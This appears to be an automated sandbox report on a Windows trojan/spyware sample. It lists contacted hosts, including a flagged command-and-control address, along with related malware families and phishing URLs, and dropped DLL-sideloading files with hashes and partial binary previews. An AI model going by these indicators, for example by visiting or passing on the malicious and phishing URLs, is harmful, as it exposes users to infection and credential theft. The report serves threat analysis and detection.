http://www.manycam.comhttp://manycam.com/feedback/?version=%sAnchor	ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winimage.com/zLibDll	XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	false		high
http://download.manycam.com/effects/%s/%s?v=%sManyCam	ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	false		high
http://curl.haxx.se/rfc/cookie_spec.html	XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	false		high
http://download.manycam.comNew	ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	false		high
http://manycam.com/feedback/?version=%s	ManyCam.exe	false		high
https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6xkernelbasentdllkernel32GetProcessMitigatio	dialer.exe, 00000008.00000002.2489067987.0000000005377000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000008.00000002.2488519125.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
128.104.160.19	app.physics.wisc.edu	United States	59	WISC-MADISON-ASUS	false
95.214.25.98	unknown	Germany	33657	CMCSUS	true
151.101.200.193	ipv4.imgur.map.fastly.net	United States	54113	FASTLYUS	false

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1343984
Start date and time:	2023-11-17 06:21:33 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	XtDhwVrVKn.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original Sample Name:	e22dc4909170a6ab08366719767378332be2f0ee62a43a8e6883c37ac720aa6b
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@16/12@2/3
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 57% Number of executed functions: 2 Number of non-executed functions: 260

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target dialer.exe, PID 4320 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:22:55	API Interceptor	1x Sleep call for process: explorer.exe modified
06:23:38	API Interceptor	1x Sleep call for process: wmprph.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
151.101.200.193	https://phase-verbena-stingray.glitch.me/pavag.shtml	Get hash	malicious	HTMLPhisher	Browse
	exploreRemote_alphav4.exe	Get hash	malicious	Remcos	Browse
	Systembackup.exe	Get hash	malicious	Remcos	Browse
	monscan.exe	Get hash	malicious	Remcos	Browse
	Watchercli.exe	Get hash	malicious	Remcos	Browse
	tsnsign.exe	Get hash	malicious	Remcos	Browse
	securitydriver_debug.exe	Get hash	malicious	Remcos	Browse
	https://occipital-languid-silverfish.glitch.me/jean.shtml	Get hash	malicious	HTMLPhisher	Browse
	https://fancy-petalite-flight.glitch.me/fusos.shtml	Get hash	malicious	HTMLPhisher	Browse
	serverInstallv4.exe	Get hash	malicious	Remcos	Browse
	Odconfig.exe	Get hash	malicious	Remcos	Browse
	plHost.exe	Get hash	malicious	Remcos	Browse
	syncchannel_alpha_v1.exe	Get hash	malicious	Remcos	Browse
	wizarddaemon.exe	Get hash	malicious	Remcos	Browse
	Installpluginv3.exe	Get hash	malicious	Remcos	Browse
	inform.exe	Get hash	malicious	Remcos	Browse
	interess.exe	Get hash	malicious	Remcos	Browse
	intere.exe	Get hash	malicious	Remcos	Browse
	contri.exe	Get hash	malicious	Remcos	Browse
	tipol.exe	Get hash	malicious	Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipv4.imgur.map.fastly.net	https://phase-verbena-stingray.glitch.me/pavag.shtml	Get hash	malicious	HTMLPhisher	Browse	151.101.200.193
	exploreRemote_alphav4.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	Systembackup.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	monscan.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	Watchercli.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	tsnsign.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	securitydriver_debug.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	https://occipital-languid-silverfish.glitch.me/jean.shtml	Get hash	malicious	HTMLPhisher	Browse	151.101.200.193
	https://fancy-petalite-flight.glitch.me/fusos.shtml	Get hash	malicious	HTMLPhisher	Browse	151.101.200.193
	serverInstallv4.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	Odconfig.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	plHost.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	syncchannel_alpha_v1.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	wizarddaemon.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	Installpluginv3.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	inform.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	interess.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	intere.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	contri.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	tipol.exe	Get hash	malicious	Remcos	Browse	151.101.200.193

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WISC-MADISON-ASUS	AYqV3mFLkS.elf	Get hash	malicious	Mirai	Browse	144.92.74.40
	sDZf1h3xl6.elf	Get hash	malicious	Mirai	Browse	146.151.217.116
	trFuo3bHdx.elf	Get hash	malicious	Mirai	Browse	144.92.49.7
	84RCMJZsIR.elf	Get hash	malicious	Mirai	Browse	144.92.49.5
	b3astmode.arm7.elf	Get hash	malicious	Mirai	Browse	72.33.238.124
	jklarm7.elf	Get hash	malicious	Mirai	Browse	72.33.103.165
	iM3uOBFNeK.elf	Get hash	malicious	Unknown	Browse	128.105.191.168
	mpsl-20231005-1029.elf	Get hash	malicious	Mirai	Browse	72.33.186.223
	sora.arm.elf	Get hash	malicious	Mirai	Browse	72.33.238.168
	N0tQuaEdln.elf	Get hash	malicious	Mirai	Browse	146.151.183.248
	la.bot.arm7-20230923-0250.elf	Get hash	malicious	Mirai	Browse	146.151.183.254
	uTsXcPpJK6.elf	Get hash	malicious	Mirai	Browse	144.92.49.70
	XqvfwSzG7G.elf	Get hash	malicious	Mirai	Browse	146.151.68.127
	arm.elf	Get hash	malicious	Unknown	Browse	128.105.191.189
	cgdDrNG7A1.elf	Get hash	malicious	Mirai	Browse	72.33.238.162
	4UodShThL8.elf	Get hash	malicious	Mirai	Browse	146.151.68.102
	cWfM0a8CEw.elf	Get hash	malicious	Mirai	Browse	72.33.238.171
	sora.x86.elf	Get hash	malicious	Mirai	Browse	144.92.49.53
	r6vaw1.arm7.elf	Get hash	malicious	Mirai	Browse	144.92.49.96
	5Y222z61xB.elf	Get hash	malicious	Mirai	Browse	144.92.199.249
FASTLYUS	https://pub-c13a1a7a8df14ed6bc3ae72edc201a8c.r2.dev/syncdatacontrols.html#barry.test@tafeqld.edu.au	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://effectual-currency.000webhostapp.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.129.21
	https://phase-verbena-stingray.glitch.me/pavag.shtml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://app.ex.co/stories/joefee10/chemjet-invoice-by-jennifer-lopez-	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	http://roan-decks.000webhostapp.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.65.21
	https://smslive-44384178.hubspotpagebuilder.com/mslook	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	jXz2ukrd2P.exe	Get hash	malicious	Sodinokibi, Chaos, Conti, Netwalker, Python Ransomware, Revil, TrojanRansom	Browse	23.185.0.4
	https://live.easygenerator.com/review/course/de4dcde8-435a-481e-8b8b-16f027088173/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://bergson-law-1322273052.cos.ap-tokyo.myqcloud.com/bergson-law.html?e=#james_karban@baylor.edu	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://proxedge-my.sharepoint.com/:b:/g/personal/yukthi_proxedge_com1/ESUjydyHqxFJqRgYqxp9DAwB01AxpQpskY1Ia7AcE7IwNw?e=XHJUsf	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	https://www.canva.com/design/DAF0Wahc1no/zsZFCDeauTqC5DJYw7dI9w/view?utm_content=DAF0Wahc1no&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://go.nypost.com/	Get hash	malicious	Unknown	Browse	151.101.129.44
	https://monydine.co/category/work/index.html	Get hash	malicious	Unknown	Browse	151.101.129.44
	https://live.easygenerator.com/review/course/de4dcde8-435a-481e-8b8b-16f027088173/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://acrobat.adobe.com/id/urn:aaid:sc:US:31f22342-5e5e-454d-93c8-160d80b62dcf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	151.101.130.137
	https://www.canva.com/design/DAF0Wahc1no/zsZFCDeauTqC5DJYw7dI9w/view?utm_content=DAF0Wahc1no&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	Order_List_PDF.exe	Get hash	malicious	FormBook	Browse	151.101.0.119
	http://dalinoxin.de	Get hash	malicious	Unknown	Browse	151.101.202.132
	Remittance.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
	https://drive.proton.me/urls/FYTGJBJVYG#iSbHFGnnzPIp	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
CMCSUS	LToKnyw7Cy.exe	Get hash	malicious	Glupteba, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Xmrig	Browse	95.214.26.28
	https://drive.proton.me/urls/FYTGJBJVYG#iSbHFGnnzPIp	Get hash	malicious	HTMLPhisher	Browse	23.216.80.138
	http://kochf.wejisel.com/hdoobobglower01	Get hash	malicious	Unknown	Browse	95.214.26.33
	https://vignetteslearning.blog/2023/07/debate-and-refute-chatgpts-transformative-capabilities-in-learning/	Get hash	malicious	Unknown	Browse	95.214.26.19
	Payroll disbursed 10 24 - 11 15.eml	Get hash	malicious	HTMLPhisher	Browse	23.216.80.138
	https://1lw67c8d.page.link/Tbeh	Get hash	malicious	Unknown	Browse	95.214.26.33
	http://color-hex.org	Get hash	malicious	HTMLPhisher	Browse	23.216.80.24
	qsQ89pyTBf.exe	Get hash	malicious	Glupteba, Mystic Stealer, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	95.214.26.28
	http://www.agrimcomponents.com	Get hash	malicious	Unknown	Browse	95.214.26.19
	https://sp_trk_in_ses_mimogoodafterj56h6gd__2000_5.storage.googleapis.com/SSSNNNRRRPPPRRKKK---FFNNNSSCCLLLSSCCCRRRTT_____________________1........HTM	Get hash	malicious	Phisher	Browse	23.216.80.24
	VMoOIGezSk.exe	Get hash	malicious	Glupteba, Mystic Stealer, RedLine, SmokeLoader	Browse	95.214.26.28
	SecuriteInfo.com.Trojan.MulDropNET.43.17616.7660.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Xmrig	Browse	95.214.26.28
	5SCg1NPYl2.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Xmrig	Browse	95.214.26.28
	file.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	95.214.26.28
	5C0Bccz67e.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	95.214.26.28
	8Mo5mJpITY.exe	Get hash	malicious	Glupteba, Mystic Stealer, RedLine, SmokeLoader	Browse	23.216.81.62
	DKbuSJgbEn.exe	Get hash	malicious	Glupteba, Mystic Stealer, RedLine, SmokeLoader, zgRAT	Browse	95.214.26.28
	x2ltSf5I5A.exe	Get hash	malicious	Glupteba, Mystic Stealer, RedLine, SmokeLoader, Stealc, zgRAT	Browse	23.216.81.62
	PK2Y37TqGx.exe	Get hash	malicious	Mystic Stealer, RedLine	Browse	23.216.81.62
	c5m4ob3GlH.exe	Get hash	malicious	Glupteba, Mystic Stealer, RedLine, SmokeLoader, Stealc, zgRAT	Browse	95.214.26.28

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	LToKnyw7Cy.exe	Get hash	malicious	Glupteba, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Xmrig	Browse	151.101.200.193
	FifDiutv3Y.exe	Get hash	malicious	Sodinokibi	Browse	151.101.200.193
	RQzHm5vLxs.exe	Get hash	malicious	Sodinokibi, Chaos, Conti, Netwalker, Revil, TrojanRansom	Browse	151.101.200.193
	ywkyQKUlD3.exe	Get hash	malicious	Sodinokibi	Browse	151.101.200.193
	jXz2ukrd2P.exe	Get hash	malicious	Sodinokibi, Chaos, Conti, Netwalker, Python Ransomware, Revil, TrojanRansom	Browse	151.101.200.193
	a0QFYpDZZz.exe	Get hash	malicious	Sodinokibi	Browse	151.101.200.193
	PGeBff2Pio.exe	Get hash	malicious	Sodinokibi, TrojanRansom	Browse	151.101.200.193
	Viacore Statement.xlsm	Get hash	malicious	Unknown	Browse	151.101.200.193
	http://KANNADADJMIX.COM	Get hash	malicious	HTMLPhisher	Browse	151.101.200.193
	HOERBIGER_Adressen 2.HJ_2023.xlsx	Get hash	malicious	Unknown	Browse	151.101.200.193
	HOERBIGER-Beitr#U00e4ge-2HJ 2023.xlsx	Get hash	malicious	Unknown	Browse	151.101.200.193
	https://drive.google.com/uc?export=download&confirm=no_antivirus&id=1za6WMBB-L6o_y_wwX3bE6YQ7ktf3L-iZ	Get hash	malicious	Unknown	Browse	151.101.200.193
	file.exe	Get hash	malicious	RisePro Stealer	Browse	151.101.200.193
	exploreRemote_alphav4.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	Systembackup.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	monscan.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	Computo.xlsx	Get hash	malicious	Unknown	Browse	151.101.200.193
	PM237001-MSE-FI3-00012.xlsm	Get hash	malicious	Unknown	Browse	151.101.200.193
	Watchercli.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
	tsnsign.exe	Get hash	malicious	Remcos	Browse	151.101.200.193
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Vidar	Browse	128.104.160.19
	file.exe	Get hash	malicious	Vidar	Browse	128.104.160.19
	exploreRemote_alphav4.exe	Get hash	malicious	Remcos	Browse	128.104.160.19
	Invoice_1-19580161#U00b7pdf.exe	Get hash	malicious	NanoCore, GuLoader	Browse	128.104.160.19
	Systembackup.exe	Get hash	malicious	Remcos	Browse	128.104.160.19
	monscan.exe	Get hash	malicious	Remcos	Browse	128.104.160.19
	fxsound_setup.exe	Get hash	malicious	Unknown	Browse	128.104.160.19
	Watchercli.exe	Get hash	malicious	Remcos	Browse	128.104.160.19
	tsnsign.exe	Get hash	malicious	Remcos	Browse	128.104.160.19
	securitydriver_debug.exe	Get hash	malicious	Remcos	Browse	128.104.160.19
	QmVFwFfFIy.exe	Get hash	malicious	Vidar	Browse	128.104.160.19
	Transferencia-30.000,00 EURpdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	128.104.160.19
	HP5CG01225WR_Update.js	Get hash	malicious	Unknown	Browse	128.104.160.19
	w2JY8zNo18.exe	Get hash	malicious	Vidar	Browse	128.104.160.19
	HP5CG0394BMG_Update.js	Get hash	malicious	Unknown	Browse	128.104.160.19
	file.exe	Get hash	malicious	Vidar	Browse	128.104.160.19
	56F2F2548297D7B72AF40B7898D1DABE2DCB809038898.exe	Get hash	malicious	Unknown	Browse	128.104.160.19
	56F2F2548297D7B72AF40B7898D1DABE2DCB809038898.exe	Get hash	malicious	Unknown	Browse	128.104.160.19
	Transferencia.exe	Get hash	malicious	FormBook, GuLoader	Browse	128.104.160.19
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	128.104.160.19

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\NotepadWizardv2\CrashRpt.dll	VqBVE8dJEA.exe	Get hash	malicious	Remcos	Browse
C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	VqBVE8dJEA.exe	Get hash	malicious	Remcos	Browse
C:\Users\user\AppData\Roaming\NotepadWizardv2\cxcore099.dll	VqBVE8dJEA.exe	Get hash	malicious	Remcos	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\rxp2.hep.wisc.edu[1].txt

Download File

Process:	C:\Users\user\Desktop\XtDhwVrVKn.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	172
Entropy (8bit):	4.754552961702877
Encrypted:	false
SSDEEP:	3:wVhvhArAaY+zA/Er/i/BgMxZ31E4cK7EGvzAN+Gn:wV1WUozKlZ3EK7EGv6+Gn
MD5:	530CEA643BA29DDA92FE9613B48652EC
SHA1:	2A85DC9133567132DD1D30A39EB76C3E8547E534
SHA-256:	841805313EBDA48510F6D8070B4E19F3C122374AA4E7805A75FE149AE6A0F569
SHA-512:	2F6B88C5DD89E942E13E226F58976DCC3B57E067FD0236AB7AB2F0CBD998FB90A82A95E3AD3E15374AE6E9B7D15C06DBC742A31F46E775C3634D75539406C50D
Malicious:	false
Reputation:	low
Preview:	Thu Sep 1 16:06:12 CDT 2022.rxp2.hep.wisc.edu last backed up 247 day(s) ago.. ('0 days' means less than one day.) ..Will send warning email if not backed up after 5 days..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\rxp2.hep.wisc.edu[2].txt

Download File

Process:	C:\Users\user\Desktop\XtDhwVrVKn.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	172
Entropy (8bit):	4.754552961702877
Encrypted:	false
SSDEEP:	3:wVhvhArAaY+zA/Er/i/BgMxZ31E4cK7EGvzAN+Gn:wV1WUozKlZ3EK7EGv6+Gn
MD5:	530CEA643BA29DDA92FE9613B48652EC
SHA1:	2A85DC9133567132DD1D30A39EB76C3E8547E534
SHA-256:	841805313EBDA48510F6D8070B4E19F3C122374AA4E7805A75FE149AE6A0F569
SHA-512:	2F6B88C5DD89E942E13E226F58976DCC3B57E067FD0236AB7AB2F0CBD998FB90A82A95E3AD3E15374AE6E9B7D15C06DBC742A31F46E775C3634D75539406C50D
Malicious:	false
Reputation:	low
Preview:	Thu Sep 1 16:06:12 CDT 2022.rxp2.hep.wisc.edu last backed up 247 day(s) ago.. ('0 days' means less than one day.) ..Will send warning email if not backed up after 5 days..

C:\Users\user\AppData\Local\Temp\49fde494

Download File

Process:	C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe
File Type:	data
Category:	dropped
Size (bytes):	1182399
Entropy (8bit):	7.6238751159348945
Encrypted:	false
SSDEEP:	24576:WkEuq2aXxqSZMS8+7BEhHTDbtpimngyMA6g7ihsVo/aW:WY1aXxqO0HTDBpimgE8hB
MD5:	67F1C4FEED3AC69325CFDFDD163FE05F
SHA1:	601780536B5002FFE8931D13C350E2AD8A4A5709
SHA-256:	0326C0D109D803A87CE001165B9B071C98060E2EB54AC575068DFF23785E26AC
SHA-512:	C86DBA28AA0DD1EA24F717246018357B70B12952967B0EF9A0CC6CE1A3AE750A3277D216E15FD8A7C344F4F7B64A035DFDE027229734AC936EA5CE63C2C8B18A
Malicious:	false
Reputation:	low
Preview:	..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..U^...........7..;-.. ...::..'...5,...;......3,..'...5,..$^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^...0..=?...;..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^...,.. ;..'*..7;..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^.......{..==..'1..z.......9;..&5..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..zn..di..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^..T^

C:\Users\user\AppData\Local\Temp\aylundwhckajft

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	493568
Entropy (8bit):	5.949899987799759
Encrypted:	false
SSDEEP:	6144:ITNlPsSiE0grIlHAjNL7ShAtKZnbr8qz6xzS06d17GQxAAXcpGZ5wIzkyOD+lRXr:IFR0gsAjNLltQbr8w6xely1JcXgDsLm8
MD5:	2D805AD231DD927A24429F8158911107
SHA1:	9D707C540DFBF76AEC1451EBC8D1B392AAE890EC
SHA-256:	8422F0BEE532E911BCFEB211AE6814E321448FA64185A7024F3B7B687765E6AD
SHA-512:	F0C4D24246EFDCD7414F9153CFF03B6F53C6833DA6D968F08CA4CFDBBC46826CC0C32FAC74E95969241D935FCDA30210EC0C747A84BB36D6DDA1E953F0B60FAB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 57% Antivirus: Virustotal, Detection: 72%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b...&...&...&...I...$.......'...I...-.....L.+...&........2\|.$...&...$....2m.'....2i.'...Rich&...........................PE..L...IVYQ.................V...".......b.......p....@..........................................................................v.......................................................................................p..<............................text...<T.......V.................. ..`.textbss.....p...........................rdata..(....p.......Z..............@..@.data...D............l..............@....rsrc................n..............@..@.reloc...............r..............@..Bvfn..................\|..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\NotepadWizardv2\CrashRpt.dll

Download File

Process:	C:\Users\user\Desktop\XtDhwVrVKn.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	123976
Entropy (8bit):	6.382577198291231
Encrypted:	false
SSDEEP:	3072:fzjKVg7GOfS5SqPcCXA4SQlah+8Z4OAAHWTtopW+Z:fzjKVg7GOESqPcCXxT8hhZ4OAAHW2Wa
MD5:	B2D1F5E4A1F0E8D85F0A8AEB7B8148C7
SHA1:	871078213FCC0CE143F518BD69CAA3156B385415
SHA-256:	C28E0AEC124902E948C554436C0EBBEBBA9FC91C906CE2CD887FADA0C64E3386
SHA-512:	1F6D97E02CD684CF4F4554B0E819196BD2811E19B964A680332268BCBB6DEE0E17B2B35B6E66F0FE5622DFFB0A734F39F8E49637A38E4FE7F10D3B5182B30260
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: VqBVE8dJEA.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................W.....U.....U.............U.......U.......U.....U.....U....Rich....................PE..L.....M...........!................'........ ......................................Gb..............................P........t..........d%..............H...........`$..............................0W..@............ ...............................text...8........................... ..`.rdata../l... ...n..................@..@.data...t...........................@....rsrc...d%.......&..................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

Download File

Process:	C:\Users\user\Desktop\XtDhwVrVKn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1756232
Entropy (8bit):	6.047140524753333
Encrypted:	false
SSDEEP:	49152:wlkcF8MnJ6tdGeHzpNTxlSvQynZAWBM2FU+SrzcBsWLZF5:wlf8MnJ6tdGeHzpNTxlSvfnOWC6U5Ed5
MD5:	BA699791249C311883BAA8CE3432703B
SHA1:	F8734601F9397CB5EBB8872AF03F5B0639C2EAC6
SHA-256:	7C4EB51A737A81C163F95B50EC54518B82FCF91389D0560E855F3E26CEC07282
SHA-512:	6A0386424C61FBF525625EBE53BB2193ACCD51C2BE9A2527FD567D0A6E112B0D1A047D8F7266D706B726E9C41EA77496E1EDE186A5E59F5311EEEA829A302325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: VqBVE8dJEA.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........3...R..R..R..f]..R..2...R....R....R....R....R..R..Q.....R....R....R..Rich.R..........................PE..L...e..M............................\|B............@.................................f.........P......................................@..................H............................................d..@............................................text...b........................... ..`.rdata..B...........................@..@.data........P.......P..............@....rsrc........@......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\NotepadWizardv2\cv099.dll

Download File

Process:	C:\Users\user\Desktop\XtDhwVrVKn.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	679936
Entropy (8bit):	6.671306088447535
Encrypted:	false
SSDEEP:	12288:tL34kbwAQR5+ERTJGZfnpyvhZFjUJbPbwQjtX5ooVyPMDFdqvGHjucsEUNwg7Ygd:nbwAQR57RJGoxj+7/2+HINwEd
MD5:	0FCF401F6B55A4C27A76B78D3445129E
SHA1:	BAE691EC304376FCE0C4BFA9967E5A62211806FD
SHA-256:	A556660DA1E32D2CAEFDA0B10BD3B9DD39A8119696ECAFBE44407F527B074D5E
SHA-512:	9481538613C4AA95E97200B3F10B3B7EB3A5B55031C588D8995EACF58356C3FEDDD8CA10558474D924ADEF9E6084B8A0B0BCF9CE005CCABEBAF0281F56205FD4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y.IO.q'..q'..q'...Y..q'.:.J..q'.:.Z..q'.:.\..q'..q&..q'.:.I.#q'.:.]..q'.:.[..q'.:._..q'.Rich.q'.........PE..L.....YM...........!.........p..........................................................................................a+......P.......,.......................@8..P...................................@...............,............................text............................... ..`.rdata..............................@..@.data...........0..................@....rsrc...,...........................@..@.reloc...:.......@... ..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\NotepadWizardv2\cxcore099.dll

Download File

Process:	C:\Users\user\Desktop\XtDhwVrVKn.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	929792
Entropy (8bit):	6.883111719944197
Encrypted:	false
SSDEEP:	24576:dNoLaQGpXDCfZCgs1ruSteHz3+AzEOyIrbnYyw:7msgUeTGIrbM
MD5:	286284D4AE1C67D0D5666B1417DCD575
